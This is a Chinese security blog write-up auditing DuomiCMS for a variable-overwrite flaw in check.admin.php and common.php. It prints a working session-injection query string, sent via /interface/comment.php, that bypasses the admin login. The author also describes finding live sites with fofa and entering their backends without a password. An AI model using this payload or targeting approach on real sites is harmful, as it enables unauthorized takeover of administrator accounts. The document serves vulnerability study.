Duomicms的变量覆盖漏洞从白盒测试到实战

2022-04-23
169

本地代码走查

本次白盒代码测试的cms是DuomiCms,这次使用Seay工具进行代码审查,下载DuomiCms源码,然后工具加载。

image-20220417165441252

先全局搜索危险函数,依次排查;

extract();//把数组编程变量
parser_str();//把字符串变成变量
$$; //可变变量,将变量的值读出来然后再赋值为变量

在函数定位后,在文件中依次寻找有通用性的文件后缀内容,如下所示;

//此类后缀的文件一般是函数库
common.func
.func.
.class.
.inc.

发现符合条件的文件为/duomiphp/common.php.

其中这段比较敏感,因为会求情一个叫keepUser()的函数,因此进一步定位该函数;

$cuserLogin->keepUser();
				if(!empty($gotopage))
				{
					ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
					exit();
				}
				else
				{
					ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
					exit();
				}

进入/duomiphp/check.admin.php,定位该函数,发现后端是通过前端传入的session,分别取对应的参数分别作为userID,groupid和userName写入后台叫admincachefile的文件中。

//保持用户的会话状态
	//成功返回 1 ,失败返回 -1
	function keepUser()
	{
		if($this->userID!=""&&$this->groupid!="")
		{
			global $admincachefile;

			$_SESSION[$this->keepUserIDTag] = $this->userID;
			$_SESSION[$this->keepgroupidTag] = $this->groupid;
			$_SESSION[$this->keepUserNameTag] = $this->userName;

			$fp = fopen($admincachefile,'w');
			fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
			fclose($fp);
			return 1;
		}
		else
		{
			return -1;
		}
	}

那我这样就取巧一下,通过登陆的时候,页面直接先返回对应的session,因此在登录的代码中插桩,路径在/admin/login.php

image-20220417200957206

测试登录后,果然返回了我所需要的session值;

image-20220417200407501

array(5) { 
 ["duomi_ckstr"]=> string(4) "kwye" 
 ["duomi_ckstr_last"]=> string(0) "" 
 ["duomi_admin_id"]=> string(1) "1" 
 ["duomi_group_id"]=> string(1) "1" 
 ["duomi_admin_name"]=> string(5) "admin" 
} 

那我现在的思路就是在线上渗透的时候,我把该session上传来完成登录。由于完成该方案是需要页面中有session_start()函数在代码最上方执行,因此项目中搜索定位,/interface/comment.php文件满足要求;

其中还包含文件require_once("../duomiphp/common.php");因此可以进行传参,将session传进去。

_SESSION[duomi_ckstr]=kwye& 
_SESSION[duomi_ckstr_last]=&
_SESSION[duomi_admin_id]=1&
_SESSION[duomi_group_id]=1&
_SESSION[duomi_admin_name]=admin

然后作为传参拼接在触发路径后进行访问:

image-20220417203511508

然后再次访问后台主页,发现不需要登陆就能进入后台(因为在后台塞进session的时候,php框架会自动给浏览器塞入对应的cookie,从而不需要密码也能登陆),本地渗透测试成功,接下来进行线上复现。

image-20220417203605035

线上渗透

通过fofa搜索对应版本的duomicms,找到测试目标站点;

image-20220417204732655

在域名后拼接一样的session值访问,一把梭;

image-20220417205016695

发现无需密码,直接进入后台,线上渗透成功。

总结

image-20220417205857982

声明

本次实践是在合法授权情况下进行,数据已经全部加密,主要是提供思路交流学习,请勿用于任何非法活动,否则后果自负。

转载时必须以链接形式注明原始出处及本声明